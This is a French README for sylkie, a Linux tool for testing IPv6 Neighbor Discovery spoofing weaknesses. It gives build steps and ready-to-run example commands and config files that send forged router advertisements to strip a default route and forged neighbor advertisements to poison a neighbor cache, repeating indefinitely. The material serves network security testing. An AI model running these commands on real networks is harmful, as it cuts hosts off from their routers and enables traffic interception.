
Usurpation d'adresse IPv6 avec le Neighbor Discovery Protocol
sylkieUn outil en ligne de commande et une bibliothèque pour tester les réseaux à la recherche de vulnérabilités de sécurité courantes d'usurpation d'adresse dans les réseaux IPv6 en utilisant le protocole de découverte de voisins (Neighbor Discovery Protocol).
Remarque : Ce projet est encore dans les premières phases de développement. Si vous rencontrez des problèmes, veuillez envisager de soumettre un issue. Il ne fonctionne actuellement que sur Linux.
Voir Le Wiki pour plus de détails.
Récupérez le code et compilez-le !
# Récupérer le code
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Compiler le code
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
Ce qui suit décrit l'utilisation de base de sylkie. Exécutez sylkie -h ou
sylkie <subcommand> -h pour plus de détails ou consultez
Utilisation avancée
pour plus d'exemples.
Remarque : sylkie utilise des raw sockets
pour envoyer les annonces falsifiées. Par conséquent, l'exécutable doit
soit avoir le bit setuid activé, soit être exécuté en tant que root.
L'utilisation de base de la commande router-advert est listée ci-dessous. Cette
commande enverra un message d'annonce de routeur (Router Advertisement) à l'ip donnée ou à
l'adresse multicast tous les nœuds, ce qui amènera les nœuds ciblés à supprimer
<router-ip>/<prefix> de leur liste de routes par défaut.
sylkie ra -i <interface> \
--target-mac <mac du routeur> \
--router-ip <ip du routeur> \
--prefix <préfixe du routeur> \
--timeout <délai entre les annonces> \
--repeat <nombre de fois à envoyer la requête>
Un exemple de base.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Cela enverrait une annonce de routeur « falsifiée » vers l'adresse tous les nœuds de portée locale de liaison ff02::1, amenant tous les nœuds à supprimer
fe80::b95b:ee1:cafe:9720/64 (adresse de couche de liaison 52:54:00:e3:f4:06)
de leur liste de routes par défaut.
L'utilisation de base de la commande d'annonce de voisin (neighbor advert) de sylkie est listée ci-dessous. Cette commande enverra un message d'annonce de voisin falsifié à l'ip donnée.
sylkie na -i <interface> \
--dst-mac <adresse hw de destination> \
--src-ip <ip source> \
--dst-ip <ip de destination> \
--target-ip <ip cible> \
--target-mac <adresse mac cible> \
--timeout <délai entre les annonces> \
--repeat <nombre de fois à envoyer la requête>
Un exemple de base
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Cela enverrait un message d'annonce de voisin « falsifié » à dst-ip
(fe80::b95b:ee1:cafe:9720), ce qui amènera l'adresse matérielle dans le cache
de voisinage pour target-ip (fe80::61ad:fda3:3032:f6f4) à être mise à jour
avec target-mac (52:54:00:c2:a7:7c).
Les commandes ci-dessus nécessitent pas mal d'informations. Pour simplifier la vie, sylkie
accepte également des fichiers json et texte brut contenant les informations nécessaires pour commencer
à envoyer les annonces falsifiées.
La sous-commande (router-advert, neighbor-advert) est une clé dont la
valeur est un tableau d'objets dont les clés et les valeurs correspondent
à l'option et à la valeur correspondantes. Pour exécuter la commande, transmettez le
chemin du fichier json en argument de l'option -j.
Pour exécuter l'exemple router-advert fourni ci-dessus à partir de json, créez d'abord
un fichier avec le contenu suivant.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
Après avoir créé le fichier, commencez à envoyer les annonces avec la commande suivante.
sylkie -j /chemin/vers/json
Chaque ligne du fichier doit être exactement ce que vous fourniriez via
la ligne de commande moins la commande sylkie.
Pour exécuter l'exemple neighbor-advert fourni ci-dessus à partir de json, créez d'abord
un fichier avec le contenu suivant.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
Après avoir créé le fichier, commencez à envoyer les annonces avec
sylkie -x /chemin/vers/fichier